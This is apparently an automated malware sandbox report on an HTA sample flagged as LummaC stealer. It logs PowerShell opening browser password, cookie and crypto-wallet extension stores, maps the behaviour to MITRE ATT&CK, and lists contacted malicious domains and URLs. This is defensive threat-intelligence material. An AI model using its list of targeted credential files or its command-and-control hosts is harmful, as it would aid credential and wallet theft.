Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\Binance

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3836, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	2 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	221 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	221 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
re5.mp4.hta	0%	ReversingLabs
re5.mp4.hta	5%	Virustotal		Browse

Source	Detection	Scanner	Label
https://permissiblene.click/apiU)r	0%	Avira URL Cloud	safe
https://t1.awagama2.org	0%	Avira URL Cloud	safe
https://t1.awagama2.org/scheele.pt	0%	Avira URL Cloud	safe
permissiblene.click	0%	Avira URL Cloud	safe
https://klipvumisui.shop/	100%	Avira URL Cloud	malware
https://permissiblene.click/	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txtH	100%	Avira URL Cloud	malware
https://permissiblene.click/api	0%	Avira URL Cloud	safe
https://klipvumisui.shop:443/int_clp_sha.txt	100%	Avira URL Cloud	malware
https://aka..FT_	0%	Avira URL Cloud	safe
https://klipvumisui.shop/h	100%	Avira URL Cloud	malware
https://klipvumisui.shop/int_clp_sha.txts	100%	Avira URL Cloud	malware
https://t1.awagam	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txtr	100%	Avira URL Cloud	malware
https://t1.awagama2.org/Scheele.LRsq	0%	Avira URL Cloud	safe
https://permissiblene.click:443/api	0%	Avira URL Cloud	safe
https://t1.awagama2.org/Scheele.pLRsq	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
permissiblene.click	188.114.96.3	true	true	unknown
t1.awagama2.org	188.114.97.3	true	true	unknown
klipvumisui.shop	104.21.37.128	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
scentniej.buzz	false		high
https://permissiblene.click/api	true	Avira URL Cloud: safe	unknown
permissiblene.click	true	Avira URL Cloud: safe	unknown
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
prisonyfork.buzz	false		high
hummskitnj.buzz	false		high
https://t1.awagama2.org/Scheele.pt	true		unknown
https://klipvumisui.shop/int_clp_sha.txt	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2058549903.0000000005B59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txtH	powershell.exe, 00000008.00000002.3010678898.00000000055A4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://klipvumisui.shop:443/int_clp_sha.txt	powershell.exe, 00000008.00000002.3001201192.00000000030AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.vikingcloud.com/0A	powershell.exe, 00000008.00000002.3011067943.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000004.00000002.2859045142.00000000074BA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.2053184182.0000000005104000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permissiblene.click/	powershell.exe, 00000008.00000002.3009863831.0000000005520000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.securetrust.com/issuers/VCTWGTSCA_L1.crt0	powershell.exe, 00000008.00000002.3011067943.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2824318533.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka..FT_	powershell.exe, 00000009.00000002.3031345788.0000000003111000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t1.awagama2.org	powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lBsq	powershell.exe, 00000002.00000002.2053184182.0000000004AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2824318533.0000000004B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3040273310.0000000005131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2824318533.0000000004CB7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/	powershell.exe, 00000008.00000002.3005785621.00000000030BA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3001201192.0000000003047000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t1.awagama2.org/scheele.pt	powershell.exe, 00000004.00000002.2823673886.0000000003087000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
